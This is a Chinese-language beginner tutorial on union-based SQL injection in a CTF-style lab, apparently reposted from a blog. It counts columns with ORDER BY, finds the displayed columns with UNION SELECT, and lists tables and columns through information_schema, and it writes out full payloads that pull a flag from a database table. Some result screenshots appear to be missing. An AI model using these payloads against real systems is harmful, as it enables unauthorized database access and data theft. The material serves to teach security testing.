admin管理员组文章数量:1794759
【SQL注入基础
大家好我是星,今天更新的文章主要围绕着SQL 注入的基础操作进行学习,适合零基础的同学学习,以及刚刚学习注入的同学进行命令的巩固和对注入流程的熟悉。
本文因特殊原因无法提供具体靶场,文章主要是通过查看命令巩固显注入的一般流程。
SQL注入基础---显错注入- 首先查询是否有sql注入
- 查询的语句分别为:
- 找见相关的数据库
- 利用 order by 语句判断显示位---->猜字段
- order by 1
- order by 2
- order by 3
- order by 4
- 获取表名
- 最后一步---获取flag内容
如果存在SQL注入,第一条语句正常运行,第二条语句报错:
第一条查询结果: 第二条查询结果 因此存在SQL注入!
找见相关的数据库 利用 order by 语句判断显示位---->猜字段order by 用于判断显示位,order by 原有的作用是对列进行一个排序,在sql注入中用order by 来判断排序,order by 1就是对一个列进行排序,如果一共四个列,你order by 5 数据库不知道怎么排序,于是乎就错误了无返回值。
order by 1 order by 2 order by 3 order by 4发现order by 4时无输出,因此有三个字段。 ##通过union select确认输出位
-
union为联合查询,a联合b进行了查询,为查询了前面的sql语句(原有的)后再进行后面的sql查询(我们添加的),但两张表联合查询的列(列)数必须相同。
-
通过上面的查询得知,有3个字段,因此联立查询时查询语句和结果为:
得知输出位为第二列和第三列第一列不输出。
获取表名利用数据库自带的库information_schema;
-
information_schema是mysql的系统自带表,用于查询数据,在mysql5.0以上版本中存在。 查询语句和结果如下: 得到第一个表名为:user
得到第二个表名为:error_flag 采用limit语句,limit 在注入中用于排序然后输出,limit a,b a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据。 ##查询列对应的数据(行)
-
limit0,0 select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 0,1
-
limit1,1 select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 1,1
and 1=2 union select 1,flag,3 from error_flag
最后到平台提交flag即可。
版权声明:本文标题:【SQL注入基础 内容由林淑君副主任自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.xiehuijuan.com/baike/1687069905a131114.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论